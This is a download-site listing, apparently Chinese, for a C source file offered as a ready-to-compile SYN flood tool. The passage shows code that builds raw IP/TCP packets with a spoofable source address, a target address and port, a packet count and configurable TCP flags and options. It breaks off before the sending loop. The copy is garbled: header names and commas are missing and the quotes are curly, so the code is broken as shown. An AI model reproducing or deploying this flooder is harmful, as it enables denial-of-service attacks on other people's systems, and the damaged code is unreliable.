• 大小: 8KB
    文件类型: .c
    金币: 1
    下载: 0 次
    发布日期: 2021-06-13
  • 语言: 其他
  • 标签: synflood  

资源简介

syn flood c的简易实现,编译即可

资源截图

代码片段和文件信息

#define __USE_BSD
#include 
#include 
#include 
#include 
#define __FAVOR_BSD
#include 
#include 
#include 
#include 
#include 
#include 

struct tcp_options
{
  u_int8_t op0;
  u_int8_t op1;
  u_int8_t op2;
  u_int8_t op3;
  u_int8_t op4;
  u_int8_t op5;
  u_int8_t op6;
  u_int8_t op7;
};

char datagram[4096]; /* datagram buffer */
char pheader[1024]; /* pseudoheader buffer for computing tcp checksum */

uint16_t
csum (uint16_t * addr int len)
{
  int nleft = len;
  uint32_t sum = 0;
  uint16_t *w = addr;
  uint16_t answer = 0;

  while (nleft > 1)
  {
    sum += *w++;
    nleft -= 2;
  }
  if (nleft == 1)
  {
    *(unsigned char *) (&answer) = *(unsigned char *) w;
    sum += answer;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

int
main (int argc char **argv)
{

  int flags = 0 c numtries = 90;
  char src_ip[17];
  char dst_ip[17];
  short dst_port = 80;
  short th_sport = 1234;
  short tcp_flags = TH_SYN;
  short pig_ack = 0;
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  struct tcp_options *tcpopt =
    (struct tcp_options *) (datagram + sizeof (struct ip) +
    sizeof (struct tcphdr));
  struct sockaddr_in servaddr;
  memset (datagram 0 4096); /* zero out the buffer */

  fprintf (stderr “sizeof (struct ip)= %d\n“ sizeof (struct ip));

  snprintf (src_ip 16 “%s“ “192.168.8.12“); //default

  while ((c = getopt (argc argv “s:d:n:p:f:a:q:w:x:y:z:g:h:i:j:“)) != -1)
  {
    switch (c)
    {
    case ‘s‘:
      flags |= 0x1;
      snprintf (src_ip 16 “%s“ optarg);
      break;
    case ‘d‘:
      flags |= 0x2;
      snprintf (dst_ip 16 “%s“ optarg);
      break;
    case ‘n‘:
      flags |= 0x4;
      numtries = atoi (optarg);
      break;
    case ‘p‘:
      flags |= 0x8;
      dst_port = atoi (optarg);
      break;
    case ‘f‘:
      tcp_flags = atoi (optarg);
      break;
    case ‘a‘:
      pig_ack = atoi (optarg);
      break;
    case ‘q‘:
      th_sport = atoi (optarg);
      break;
    case ‘w‘:
      tcpopt->op0 = atoi (optarg);
      break;
    case ‘x‘:
      tcpopt->op1 = atoi (optarg);
      break;
    case ‘y‘:
      tcpopt->op2 = atoi (optarg);
      break;
    case ‘z‘:
      tcpopt->op3 = atoi (optarg);
      break;
    case ‘g‘:
      tcpopt->op4 = atoi (optarg);
      break;
    case ‘h‘:
      tcpopt->op5 = atoi (optarg);
      break;
    case ‘i‘:
      tcpopt->op6 = atoi (optarg);
      break;
    case ‘j‘:
      tcpopt->op7 = atoi (optarg);
      break;
    case ‘?‘:
      flags |= 0x10;
      fprintf (stderr “Unrecognized option  \n“);
      break;
    }
  }

  if (!(flags & 0x2))
  {
    fprintf (stderr
     “\nraws

评论

共有 条评论

相关资源